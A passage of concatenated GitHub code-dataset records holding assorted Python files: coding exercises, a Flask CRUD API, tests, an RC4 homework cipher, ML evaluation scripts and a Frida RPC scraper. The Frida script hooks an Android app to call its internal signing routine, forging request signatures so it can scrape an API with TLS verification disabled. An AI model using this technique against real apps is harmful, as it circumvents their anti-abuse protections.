range(60)]\n for h in range(12):\n hb=a[h]\n for m in range(60):\n mb=a[m]\n if hb+mb==turnedOn:\n res.append(f\"{h}:{m:02d}\") \n \n # 타인 풀이\nclass Solution:\n def readBinaryWatch(self, turnedOn: int) -> List[str]:\n result = []\n for h in range(12):\n for m in range(60):\n if str(bin(h)).count(\"1\") + str(bin(m)).count(\"1\") == turnedOn:\n # 02d: Min two digits, and append 0 char at the left in case of less than 2 digits\n result.append(f'{h}:{m:02d}')\n return result\n \n ","repo_name":"yeardream-high6/coding_test","sub_path":"이부경/LeetCode/500/401. Binary Watch.py","file_name":"401. Binary Watch.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42432116802","text":"from app import app\nfrom models import Genre\nfrom models import Label\nfrom models import Record\nfrom models import Stock\nfrom flask import jsonify\nfrom flask import request\nfrom app import db\nimport json\n\n#api's for genre\n@app.route('/api/genre', methods=['GET'])\ndef api_genre_get():\n genres = Genre.query.all()\n genres_json = [{\"id\": genre.id, \"name\": genre.name}\n for genre in genres]\n return jsonify(genres_json)\n\n@app.route('/api/genre/', methods=['GET'])\ndef api_genre_get_id(id):\n genres = Genre.query.filter_by(id=id)\n if not genres:\n abort(404)\n genre = genres[0]\n genre_json = {\"id\": genre.id, \"name\": genre.name}\n return jsonify(genre_json)\n\n@app.route('/api/genre', methods=['POST'])\ndef api_genre_insert():\n new_genre = request.get_json()\n genre = Genre(id=new_genre['id'], name=new_genre['name'])\n db.session.add(genre)\n db.session.commit()\n genre_json = {\"id\": genre.id, \"name\": genre.name}\n return jsonify(genre_json)\n\n@app.route('/api/genre/', methods=['DELETE'])\ndef api_genre_delete(id):\n genres = Genre.query.filter_by(id=id)\n if not genres:\n abort(404)\n genre = genres[0]\n db.session.delete(genre)\n db.session.commit()\n return jsonify()\n\n@app.route('/api/genre/', methods=['PUT'])\ndef api_genre_update(id):\n updated_genre = request.get_json()\n genres_to_update = Genre.query.filter_by(id=id)\n data = json.loads(request.get_data())\n genre_to_update = genres_to_update[0]\n genre_to_update = db.session.query(Genre).filter_by(id = id).first()\n genre_to_update.name = data['name']\n db.session.commit()\n return jsonify(genre_to_update.to_dict())\n\n#api's for label\n@app.route('/api/label', methods=['GET'])\ndef api_label_get():\n labels = Label.query.all()\n labels_json = [{\"id\": label.id, \"name\": label.name}\n for label in labels]\n return jsonify(labels_json)\n\n@app.route('/api/label/', methods=['GET'])\ndef api_label_get_id(id):\n labels = Label.query.filter_by(id=id)\n if not labels:\n abort(404)\n label = labels[0]\n label_json = {\"id\": label.id, \"name\": label.name}\n return jsonify(label_json)\n\n@app.route('/api/label', methods=['POST'])\ndef api_label_insert():\n new_label = request.get_json()\n label = Label(id=new_label['id'], name=new_label['name'])\n db.session.add(label)\n db.session.commit()\n label_json = {\"id\": label.id, \"name\": label.name}\n return jsonify(label_json)\n\n@app.route('/api/label/', methods=['DELETE'])\ndef api_label_delete(id):\n labels = Label.query.filter_by(id=id)\n if not labels:\n abort(404)\n label = labels[0]\n db.session.delete(label)\n db.session.commit()\n return jsonify()\n\n@app.route('/api/label/', methods=['PUT'])\ndef api_label_update(id):\n updated_label = request.get_json()\n labels_to_update = Label.query.filter_by(id=id)\n data = json.loads(request.get_data())\n label_to_update = labels_to_update[0]\n label_to_update = db.session.query(Label).filter_by(id = id).first()\n label_to_update.name = data['name']\n db.session.commit()\n return jsonify(label_to_update.to_dict())\n\n#api's for record\n@app.route('/api/record', methods=['GET'])\ndef api_record_get():\n records = Record.query.all()\n records_json = [{\"id\": record.id, \"name\": record.name, \"label\": record.label, \"genre\": record.label, \"price\": record.price}\n for record in records]\n return jsonify(records_json)\n\n@app.route('/api/record/', methods=['GET'])\ndef api_record_get_id(id):\n records = Record.query.filter_by(id=id)\n if not records:\n abort(404)\n record = records[0]\n records_json = {\"id\": record.id, \"name\": record.name, \"label\": record.label, \"genre\": record.label, \"price\": record.price}\n return jsonify(records_json)\n\n@app.route('/api/record', methods=['POST'])\ndef api_record_insert():\n new_record = request.get_json()\n record = Record(id=new_record['id'], name=new_record['name'], label=new_record['label'], genre=new_record['genre'], price=new_record['price'])\n db.session.add(record)\n db.session.commit()\n record_json = {\"id\": record.id, \"name\": record.name, \"label\": record.label, \"genre\": record.label, \"price\": record.price}\n return jsonify(record_json)\n\n@app.route('/api/record/', methods=['DELETE'])\ndef api_record_delete(id):\n records = Record.query.filter_by(id=id)\n if not records:\n abort(404)\n record = records[0]\n db.session.delete(record)\n db.session.commit()\n return jsonify()\n\n@app.route('/api/record/', methods=['PUT'])\ndef api_record_update(id):\n updated_record = request.get_json()\n records_to_update = Record.query.filter_by(id=id)\n data = json.loads(request.get_data())\n record_to_update = records_to_update[0]\n record_to_update = db.session.query(Record).filter_by(id = id).first()\n record_to_update.name = data['name']\n record_to_update.label = data['label']\n record_to_update.genre = data['genre']\n record_to_update.price = data['price']\n db.session.commit()\n return jsonify(record_to_update.to_dict())\n\n#api's for stock\n@app.route('/api/stock', methods=['GET'])\ndef api_stock_get():\n stocks = Stock.query.all()\n stocks_json = [{\"id\": stock.id, \"amount\": stock.amount}\n for stock in stocks]\n return jsonify(stocks_json)\n\n@app.route('/api/stock/', methods=['GET'])\ndef api_stock_get_id(id):\n stocks = Stock.query.filter_by(id=id)\n if not stocks:\n abort(404)\n stock = stocks[0]\n stock_json = {\"id\": stock.id, \"amount\": stock.amount}\n return jsonify(stock_json)\n\n@app.route('/api/stock', methods=['POST'])\ndef api_stock_insert():\n new_stock = request.get_json()\n stock = Stock(id=new_stock['id'], amount=new_stock['amount'])\n db.session.add(stock)\n db.session.commit()\n stock_json = {\"id\": stock.id, \"amount\": stock.amount}\n return jsonify(stock_json)\n\n@app.route('/api/stock/', methods=['DELETE'])\ndef api_stock_delete(id):\n stocks = Stock.query.filter_by(id=id)\n if not stocks:\n abort(404)\n stock = stocks[0]\n db.session.delete(stock)\n db.session.commit()\n return jsonify()\n\n@app.route('/api/stock/', methods=['PUT'])\ndef api_stock_update(id):\n updated_stock = request.get_json()\n stocks_to_update = Stock.query.filter_by(id=id)\n data = json.loads(request.get_data())\n stock_to_update = stocks_to_update[0]\n stock_to_update = db.session.query(Stock).filter_by(id = id).first()\n stock_to_update.amount = data['amount']\n db.session.commit()\n return jsonify(stock_to_update.to_dict())","repo_name":"kirilldolganov/music","sub_path":"music/app/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":6635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72283341493","text":"from __future__ import absolute_import, print_function\n\nimport os\nfrom time import sleep\n\nimport pytest\nfrom flask import Flask\nfrom flask_babelex import Babel\nfrom invenio_db import InvenioDB, db\nfrom invenio_indexer import InvenioIndexer\nfrom invenio_jsonschemas import InvenioJSONSchemas\nfrom invenio_records import InvenioRecords\nfrom invenio_search import InvenioSearch\n\nfrom invenio_marc21 import InvenioMARC21\n\n\n@pytest.fixture()\ndef app():\n \"\"\"Flask application fixture.\"\"\"\n app = Flask('testapp')\n app.config.update(\n TESTING=True\n )\n return app\n\n\n@pytest.fixture()\ndef es_app(request):\n \"\"\"Flask application with records fixture.\"\"\"\n app = Flask(__name__)\n app.config.update(\n JSONSCHEMAS_ENDPOINT='/',\n JSONSCHEMAS_HOST='http://localhost:5000',\n SQLALCHEMY_DATABASE_URI=os.environ.get(\n 'SQLALCHEMY_DATABASE_URI', 'sqlite:///test.db'),\n )\n\n Babel(app)\n if not hasattr(app, 'cli'):\n from flask_cli import FlaskCLI\n FlaskCLI(app)\n InvenioDB(app)\n InvenioRecords(app)\n InvenioMARC21(app)\n search = InvenioSearch(app)\n InvenioIndexer(app)\n InvenioJSONSchemas(app)\n\n with app.app_context():\n db.create_all()\n list(search.create())\n sleep(10)\n\n def teardown():\n with app.app_context():\n db.drop_all()\n list(search.delete())\n\n request.addfinalizer(teardown)\n\n return app\n","repo_name":"inveniosoftware/invenio-marc21","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"38006316375","text":"import itertools\nimport sys\nfrom error import *\nfrom fact import *\nfrom rule import *\nfrom tree import *\nclass File:\n\n def __init__(self, filename):\n try:\n file = open(filename)\n except IOError:\n Error(\"Open file failed\")\n self.tree = Tree()\n text = file.readlines()\n for i, _ in enumerate(text):\n text[i] = text[i].translate(None, '\\t\\n ')\n text[i], _, _ = text[i].partition('#')\n text[i] = text[i].strip()\n if len(text[i]) == 0:\n text[i] = None\n pass\n text = filter(None, text)\n initial = filter(None, ''.join(ch for ch, _ in itertools.groupby(\n filter(lambda x: x.startswith('='), text)))\n .translate(None, ' ='))\n facts = filter(None, set(''.join(text).translate(None, ' ?=()<>+^|!')))\n for fact in facts:\n if fact in initial:\n self.tree.append(fact, Fact(fact, True))\n else:\n self.tree.append(fact, Fact(fact))\n self.queries = filter(None, ''.join(ch for ch, _ in itertools.groupby(\n filter(lambda x: x.startswith('?'), text)))\n .translate(None, ' ?'))\n self.rules = map(lambda x: Rule(x), filter(lambda x: not x.startswith('='),\n filter(lambda x: not x.startswith('?'), text)))\n # if len(initial) == 0:\n # Error(\"Imposible to resolve, please add initial facts\")\n if len(self.queries) == 0:\n Error(\"No queries found, please add a querie at the end of the file\")\n if len(self.rules) == 0:\n Error(\"No rules found, please add rules\")\n\n def __str__(self):\n return \"Rules: %s\\nInitial Fatcs: %s\\nQueries : %s\\n\"%(self.rules, self.tree, self.queries)\n","repo_name":"qdequele/expert_system","sub_path":"expert_system/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"74897778932","text":"#!/usr/bin/python\n### hw05.py\nimport copy\n\nclass RC4:\n def __init__(self,keystring):\n self.Tvec = []\n ##use key to permute statearray\n self.Svec = range(256)\n for i in range(256):\n self.Tvec.append(ord(keystring[i % 16]))\n j = 0\n for i in range(256):\n j = (j + self.Svec[i] + self.Tvec[i]) % 256\n self.Svec[i],self.Svec[j] = self.Svec[j],self.Svec[i]\n def encrypt(self,image):\n i = 0\n j = 0\n h = 0\n statearray = copy.copy(self.Svec)\n listlen = len(image)\n encryptedImage = []\n ##perform RC4 algorithm on whole file\n while h < listlen:\n i = (i + 1) % 256\n j = (j + statearray[i]) % 256\n statearray[i],statearray[j] = statearray[j],statearray[i]\n k = (statearray[i] + statearray[j]) % 256\n encryptedImage.append(statearray[k] ^ image[h])\n h = h + 1\n return encryptedImage\n def decrypt(self,image):\n i = 0\n j = 0\n h = 0\n statearray = copy.copy(self.Svec)\n listlen = len(image)\n decryptedImage = []\n ##perform RC4 algorithm on whole file\n while h < listlen:\n i = (i + 1) % 256\n j = (j + statearray[i]) % 256\n statearray[i],statearray[j] = statearray[j],statearray[i]\n k = (statearray[i] + statearray[j]) % 256\n decryptedImage.append(statearray[k] ^ image[h])\n h = h + 1\n return decryptedImage\nif __name__ == \"__main__\":\n rcipher = RC4('kaklaizuobaojian')\n fptr = open('winterTown.ppm','r')\n ##Open a ppm image, cut front 3 lines and store them into a list of individual characters\n all_lines = fptr.readlines()\n fptr.close()\n originalImage = []\n for i in range(3,len(all_lines)):\n for j in range(len(all_lines[i])):\n originalImage.append(ord(all_lines[i][j]))\n\n encryptedImage = rcipher.encrypt(originalImage)\n decryptedImage = rcipher.decrypt(encryptedImage)\n ##if output list equals to input list, RC4 works.\n if originalImage == decryptedImage:\n print('GOOD JOB BOY')\n else:\n print('DO IT AGAIN')\n ##Write 3 lines into the output file and then the entire decrypted image\n fout = open('output.ppm','wba')\n for i in range(3):\n\t fout.write(all_lines[i])\n fout.write(bytearray(decryptedImage))\n fout.close()\n","repo_name":"yudi3160/ECE404-Computer-Security-And-Network","sub_path":"hw5/hw05.py","file_name":"hw05.py","file_ext":"py","file_size_in_byte":2431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33286431707","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport frida\nimport requests\nimport time\n\n\n# 发送接收frida_js信息\ndef on_message(message, data):\n if message['type'] == 'send':\n print(\"[*] {0}\".format(message['payload']))\n else:\n print(message)\n\n\njs = open('app1.js', 'r', encoding='utf8').read() # 读取frida脚本\n\nsession = frida.get_usb_device(timeout=1000).attach('com.yuanrenxue.challenge')\n\nscript = session.create_script(js)\nscript.on('message', on_message)\nscript.load() # 加载frida脚本\n\nif __name__ == '__main__':\n val = 0\n for i in range(1, 101):\n url = 'https://www.python-spider.com/api/app1'\n headers = {\n 'Accept-Language': 'zh-CN,zh;q=0.8',\n 'User-Agent': 'Mozilla/5.0 (Linux; U; Android 6.0.1; zh-cn; Nexus 6P Build/MTC20L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',\n 'Content-Type': 'application/x-www-form-urlencoded',\n 'Content-Length': '61',\n 'Host': 'www.python-spider.com',\n 'Connection': 'Keep-Alive',\n 'Accept-Encoding': 'gzip',\n 'Cache-Control': 'no-cache'\n }\n time_ = int(time.time()*1000) # 获取世家戳\n s = f'page={i}' + str(time_)\n bArr = [x for x in bytearray(s, 'utf_8')]\n res = script.exports.callsecretfunctionedy(bArr) # 调用frida_js函数获取加密参数\n print(res)\n data = {\n 'page': i,\n 'sign': res,\n 't': time_\n }\n response = requests.post(url=url, headers=headers, data=data, verify=False).json()\n datas = response['data']\n for info in datas:\n val += int(info['value'].replace('\\r', ''))\n time.sleep(0.5)\n print(val)\n\n\n\n","repo_name":"17346607460/DyItemSpider","sub_path":"android/app1/app1_rpc调用app内的加密算法.py","file_name":"app1_rpc调用app内的加密算法.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"71699165813","text":"# Creating an empty set\ns=set()\n\n# Add elements to set\ns.add(1)\ns.add(2)\ns.add(3)\ns.add(4)\n\nprint(\"The elements from the set are: \")\nprint(s)\ns.add(3)\n\ns.remove(3)\ns.add(5)\nprint(\"Added element 5 and removed element 3 now the elements from the set are: \")\nprint(s)\n\nprint(f\"Now, the set has {len(s)} elements left.\")","repo_name":"LYNUXel/Chapter_3-Python","sub_path":"sets.py","file_name":"sets.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17329470065","text":"import logging\n\nfrom ._filter import Filter\nfrom ._logger import Logger\nfrom ._request_filter import RequestFilter\nfrom .formatters import Formatter, SimpleFormatter\n\n__all__ = (\"Logger\", \"Filter\", \"Formatter\", \"SimpleFormatter\")\n\n\n# Set custom Logger class\n\n_old_logger_class = logging.getLoggerClass()\nlogging.setLoggerClass(Logger)\n\n# Register Loggers\n\nlogger: Logger = logging.getLogger(\"jj.access_logger\") # type: ignore\nlogger.setLevel(logging.INFO)\nlogger.propagate = False\n\n# Register Filter\n\nfilter_ = Filter()\nrequest_filter_ = RequestFilter()\nlogger.addFilter(filter_)\nlogger.addFilter(request_filter_)\n\n# Register Handler\n\nhandler = logging.StreamHandler()\nlogger.addHandler(handler)\n\n# Register Formatter\n\nformatter = SimpleFormatter()\nhandler.setFormatter(formatter)\n\n# Restore default Logger class\n\nlogging.setLoggerClass(_old_logger_class)\n","repo_name":"tsv1/jj","sub_path":"jj/logs/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"23438266387","text":"import asyncio\n\nimport tasks\n\n\nasync def main():\n a = await tasks.hello.apply_sync()\n print(await a.get())\n\n b = await tasks.sum.apply_sync(args=[1, 3])\n print(await b.get())\n\n\nasyncio.run(main())\n","repo_name":"meirdev/mqtt-rpc","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5558713147","text":"from math import log10, sqrt\nimport cv2\nimport numpy as np\nfrom skimage.metrics import structural_similarity as ssim\nimport cpbd\n\ndef calc_ssim(img1, img2):\n C1 = (0.01 * 255)**2\n C2 = (0.03 * 255)**2\n\n img1 = img1.astype(np.float64)\n img2 = img2.astype(np.float64)\n kernel = cv2.getGaussianKernel(11, 1.5)\n window = np.outer(kernel, kernel.transpose())\n\n mu1 = cv2.filter2D(img1, -1, window)[5:-5, 5:-5] # valid\n mu2 = cv2.filter2D(img2, -1, window)[5:-5, 5:-5]\n mu1_sq = mu1**2\n mu2_sq = mu2**2\n mu1_mu2 = mu1 * mu2\n sigma1_sq = cv2.filter2D(img1**2, -1, window)[5:-5, 5:-5] - mu1_sq\n sigma2_sq = cv2.filter2D(img2**2, -1, window)[5:-5, 5:-5] - mu2_sq\n sigma12 = cv2.filter2D(img1 * img2, -1, window)[5:-5, 5:-5] - mu1_mu2\n\n ssim_map = ((2 * mu1_mu2 + C1) * (2 * sigma12 + C2)) / ((mu1_sq + mu2_sq + C1) *\n (sigma1_sq + sigma2_sq + C2))\n return ssim_map.mean()\n\ndef PSNR(original, compressed):\n\tmse = np.mean((original - compressed) ** 2)\n\tif(mse == 0):\n\t\treturn float('inf')\n\tmax_pixel = 255.0\n\tpsnr = 20 * log10(max_pixel / sqrt(mse))\n\treturn psnr\n\ndef main(total):\n fvalue=[0, 0, 0]\n for i in range(total*5):\n print(i)\n original = cv2.imread(f\"PSNR/ref_pre1/{i}.jpg\")\n generated = cv2.imread(f\"PSNR/ref_pre2/{i}.jpg\")\n g1 = cv2.cvtColor(original, cv2.COLOR_BGR2GRAY)\n g2 = cv2.cvtColor(generated, cv2.COLOR_BGR2GRAY)\n psnr, ssim_score, cpbd = PSNR(g1, g2), ssim(g1, g2), cpbd.compute(g2)\n fvalue[0] += psnr\n fvalue[1] += ssim_score\n fvalue[2] += cpbd\n print(fvalue)\n\t\nif __name__ == \"__main__\":\n\tmain(500)\n","repo_name":"sahilg06/EmoGen","sub_path":"evaluation/img_eval.py","file_name":"img_eval.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","stars":246,"dataset":"github-code","pt":"21"} +{"seq_id":"19551280858","text":"\"\"\"Demonstrates peculiarities of if, for, while and other statements.\n\"\"\"\n\n\n#%%\ndef demonstrate_branching():\n \"\"\"Details and peculiarities of if statements.\n - is compares id()'s, == compares contents\n - id()'s are the same for equal strings and numbers, but not for lists, user class instances,...\n - the condition of an if-statement need not necessarily be a boolean\n - there can be more than one elif after if (no switch statement, use multiple elif instead)\n \"\"\"\n\n # l1 = [26, 18]\n # l2 = [26, 18]\n #\n # print(l1 == l2)\n # print(l1 is l2)\n # print()\n #\n # a = 'Mick'\n # b = 'Mick'\n # print(a is b)\n\n # if 0.0:\n # print(True)\n # else:\n # print(False)\n\n n = 3\n if n == 3:\n print('3')\n elif n == 2:\n print('2')\n elif n ==1:\n print('1')\n else:\n print(0)\n\n\n#%%\n# Test demonstrate_branching()\ndemonstrate_branching()\n\n#%%\n\n\ndef demonstrate_loops():\n \"\"\"Different kinds of loops. Also break and continue.\n - it is not necessary to iterate through all elements of an iterable\n - step in range()\n - unimportant counter (_)\n - break and continue\n - while loop\n \"\"\"\n\n # l1 = [1, 2, 3, 4, 5, 6, 7, 8, 9, ]\n # for e in l1:\n # print(e, ', ', end='')\n # print()\n # for e in l1[3:-2]:\n # print(e, ', ', end='')\n # print()\n # for e in l1[:-2]:\n # print(e, ', ', end='')\n # print()\n\n s = 'Keith'\n # for i in range(len(s)):\n # print(s[i], end='')\n # print()\n # for i in range(1, len(s), 2):\n # print(s[i], end='')\n # print()\n for _ in range(len(s)):\n print('Mick and Keith')\n print()\n\n\n#%%\n# Test demonstrate_loops()\ndemonstrate_loops()\n","repo_name":"programiranje3/2023","sub_path":"python/statements.py","file_name":"statements.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40015098084","text":"import numpy as np\ndef sigmoid(z):\n return 1/(1+np.exp(-z))\n\ndef sigmoid_prime(z):\n return sigmoid(z)*(1-sigmoid(z))\n\nclass NN:\n def __init__(self,layers,learning_rate,factor_weights):\n self.layers = layers\n self.num_layers = len(layers)\n\n self.weights = [np.random.random((y,x))*factor_weights for x,y\n in zip(layers[:-1],layers[1:])]\n self.biases = [np.zeros((x,1)) for x in layers[1:]]\n self.learning_rate = learning_rate\n self.error = float('inf')\n\n def backpropagation(self,x,y):\n a = x\n activations = [a]\n zs = []\n\n for l in range(self.num_layers-1):\n z = np.dot(self.weights[l],a) + self.biases[l]\n a = sigmoid(z)\n activations.append(a)\n zs.append(z)\n self.error = a-y\n delta = self.error*sigmoid_prime(z)\n da = np.dot(self.weights[-1].T,delta)\n dw = np.dot(delta,activations[-2].T)\n db = delta\n self.weights[-1] -=self.learning_rate*dw\n self.biases[-1] -=self.learning_rate*db\n\n for l in range(2,self.num_layers):\n a_actual = activations[-l]\n z_actual = zs[-l]\n delta = da*sigmoid_prime(z_actual)\n dw = np.dot(delta,activations[-l-1].T)\n db = delta\n self.weights[-l] -=self.learning_rate*dw\n self.biases[-l] -=self.learning_rate*db\n da = np.dot(self.weights[-l].T,delta)\n\n def forward_propagation(self,x):\n activation = x\n for l in range(self.num_layers-1):\n activation = sigmoid(np.dot(self.weights[l],activation) + self.biases[l])\n activation[activation>0.5] = 1\n activation[activation<=0.5] = 0\n return activation\nprint('Mateo duro del ...')\n","repo_name":"mateo3264/RL","sub_path":"dnn.py","file_name":"dnn.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19911146454","text":"# @cybergavin - https://github.com/cybergavin\n# This program uses Amazon Comprehend (AI/ML solution) to analyze text in a file (each text to be analyzed on one line) for a sentiment.\n# The output for each review is a sentiment analysis (POSITIVE/NEGATIVE/MIXED/NEUTRAL sentiment) with a confidence score.\n# NOTE: Amazon Comprehend only analyzes the first 500 characters of each review (line) for sentiment and only accepts 5 KB of text per review for analysis.\n# Prerequisites:\n# - Shared credential file (~/.aws/credentials) with credentials that have the required IAM policies\n# - The required Python libraries (as per import statements)\n# COSTS WILL BE INCURRED FOR USING AMAZON COMPREHEND. Refer https://aws.amazon.com/comprehend/pricing/\n#########################################################################################################################################\nimport sys\nimport boto3\nfrom pathlib import Path, PurePath\n\nif len(sys.argv) != 2:\n print(f\"\\nMissing input argument!\\nUSAGE: python3 {sys.argv[0]} \\nwhere is the name of the file containing text to be analyzed (each on a different line) for sentiments.\\n\")\n exit(1)\n\nscript_dir = Path((PurePath(sys.argv[0]).parent)).resolve(strict=True)\ninput_text = sys.argv[1]\nresults = script_dir / f'{PurePath(input_text).stem}_sentiments.csv'\ndefined_sentiments = ['POSITIVE', 'NEGATIVE', 'MIXED', 'NEUTRAL']\nanalyzed_sentiments = []\n\n# Create Comprehend client\nclient = boto3.client('comprehend')\n\n# Read input file\nwith open(input_text, \"r\") as input:\n lines = input.readlines()\n\n# Use Amazon Comprehend to analyze sentiment for each line\nwith open(results, \"w\", newline='') as output:\n output.write('Sentiment,Confidence,Text\\n')\n for line in lines:\n response = client.detect_sentiment(Text=line,LanguageCode='en')\n analyzed_sentiments.append(response['Sentiment'])\n output.write(f\"{response['Sentiment']},{max(response['SentimentScore'].values())},{line}\")\n\n# Summarize Sentiments\nprint(f\"{'-' * 90}\\nSentiment Summary for {input_text}. Refer the file {PurePath(input_text).stem}_sentiments.csv for analysis.\\n{'-' * 90}\\n\")\nprint(f\"Number of lines of text analyzed = {len(analyzed_sentiments)}\\n\")\nfor s in defined_sentiments:\n print(f\"{s} - {(analyzed_sentiments.count(s) * 100 / len(analyzed_sentiments)):.2f}%\")\n","repo_name":"cybergavin/aws","sub_path":"comprehend/comprehend_sentiment.py","file_name":"comprehend_sentiment.py","file_ext":"py","file_size_in_byte":2362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5656537860","text":"from setuptools import find_packages, setup\n\ntests_requirements = [\n 'pytest',\n 'pytest-cov',\n 'pytest-flake8',\n 'pytest-isort',\n]\n\nsetup(\n name='www-pharminfo',\n version='0.1.dev0',\n description='Website for Adop',\n url='https://adop.help',\n author='Kozea',\n packages=find_packages(),\n include_package_data=True,\n scripts=['adop.py'],\n install_requires=[\n 'Flask',\n 'libsass',\n ],\n tests_require=tests_requirements,\n extras_require={'test': tests_requirements}\n)\n","repo_name":"Kozea/adop","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36505221145","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\nimport pickle\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import KFold\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.ensemble import RandomForestClassifier\nimport pandas as pd\nimport string\nimport re\nfrom nltk.corpus import stopwords\nimport scipy\nfrom scipy.sparse import coo_matrix, hstack\n\n\n### Loading the tfidf feature generated in feature engineering\n\nimport pickle\nX_tfidf = pickle.load(open( \"features//tfidf_25k.pkl\",\"rb\"))\n\nX_train_tfidf=X_tfidf[:49972]\nX_test_tfidf=X_tfidf[49972:]\n\n### Loading the other features\n\nX_features=pd.read_csv(\"features//features.csv\")\n\n## Splitting the dataset into training and test set\nX_train=X_features.iloc[:49972,]\nX_test=X_features.iloc[49972:,]\n\nStance=pd.read_csv(\"features//combinedf.csv\")\nStance=Stance['Stance']\n\nStance1=Stance.replace({'unrelated':3})\nStance1=Stance1.replace({'agree':0})\nStance1=Stance1.replace({'disagree':1})\nStance1=Stance1.replace({'discuss':2})\n\nY_train=Stance1.iloc[:49972,]\nY_test=Stance1.iloc[49972:,]\n\n#### Scipy matrix for models\n\nimport scipy\nfrom scipy.sparse import coo_matrix, hstack\ng_train=scipy.sparse.csr_matrix(X_train)\ng_test=scipy.sparse.csr_matrix(X_test)\n\n# Use these features for model with tfidf vectorizer\n\nx_train=hstack([X_train_tfidf,g_train])\nx_test=hstack([X_test_tfidf,g_test])\n\npred1=Y_test.values.ravel()\n\nY=Y.replace({'unrelated':3})\nY=Y.replace({'agree':0})\nY=Y.replace({'disagree':1})\nY=Y.replace({'discuss':2})\n\n### MODEL TO EVALUATE IF STANCES ARE RELATED OR UNRELATED\n\nY_train1=Y.iloc[:49972,]\nY_test1=Y.iloc[49972:,]\n\nY_train1=Y_train1.replace({1:0,2:0,3:1})\nY_test1=Y_test1.replace({1:0,2:0,3:1})\n\nY_train1=Y_train1.astype('category')\nY_test1=Y_test1.astype('category')\n\nimport xgboost as xgb\nmodel_r=xgb.XGBClassifier(random_state=1)\nmodel_r.fit(x_train, Y_train1)\n\nmodel_r.score(x_test,Y_test1)\n\n##### PREDICTING THE VALUES FOR RELATED OR UNRELATED\n\npreds_r=model_r.predict_proba(x_test)\n\n### MODEL TO EVALUATE IF STANCES ARE DISCUSS OR NOT DISCUSS\n\nY_train2=Y.iloc[:49972,]\nY_test2=Y.iloc[49972:,]\nY_train2=Y_train2.replace({1:0,2:1,3:0})\nY_test2=Y_test2.replace({1:0,2:1,3:0})\nY_train2=Y_train2.astype('category')\nY_test2=Y_test2.astype('category')\n\nmodel_d=xgb.XGBClassifier(random_state=1)\nmodel_d.fit(x_train, Y_train2)\nmodel_d.score(x_test,Y_test2)\n\n##### PREDICTING THE VALUES FOR DISCUSS OR NOT\n\npreds_d=model_d.predict_proba(x_test)\n\n### MODEL TO EVALUATE IF STANCES ARE AGREE OR DISAGREE\n\ndf=pd.read_csv(\"features//combinedf.csv\")\n\ndf['Stance']=df['Stance'].replace({'unrelated':3})\ndf['Stance']=df['Stance'].replace({'agree':0})\ndf['Stance']=df['Stance'].replace({'disagree':1})\ndf['Stance']=df['Stance'].replace({'discuss':2})\n\ndf1=df[(df['Stance']==0)| (df['Stance']==1)]\n\ntrain=df.iloc[:49972,]\n\nX_train_3=df.iloc[:49972,]\n\nX_test_3=df.iloc[49972:,]\n\nX_train_3=X_train_3[(X_train_3['Stance']==0)| (X_train_3['Stance']==1)]\n\nY_train_3=X_train_3['Stance']\nY_test_3=X_test_3['Stance']\n\nY_train_3=Y_train_3.replace({0:1,1:0,2:0,3:0})\nY_test_3=Y_test_3.replace({0:1,1:0,2:0,3:0})\n#Y_train_3.value_counts()\n\nY_train_3=Y_train_3.astype('category')\nY_test_3=Y_test_3.astype('category')\n\ncount_vector12 = CountVectorizer(ngram_range=(1,3),tokenizer=lambda doc: doc, lowercase=False)\ncount_x_train12 = count_vector12.fit_transform(X_train_3['combined'])\ntfidf_transformer12 = TfidfTransformer()\ntfidf_x_train12 = tfidf_transformer12.fit_transform(count_x_train12)\n\n\nx_train_count_1 = count_vector12.transform(X_test_3['combined'])\ntfidf_transformer_1=TfidfTransformer()\nx_tfidf1=tfidf_transformer_1.fit_transform(x_train_count_1)\n\ntrain=train[(train['Stance']==0)| (train['Stance']==1)].index.tolist()\n\nnew_x_train=pd.merge(X_train, X_train_3, left_index=True, 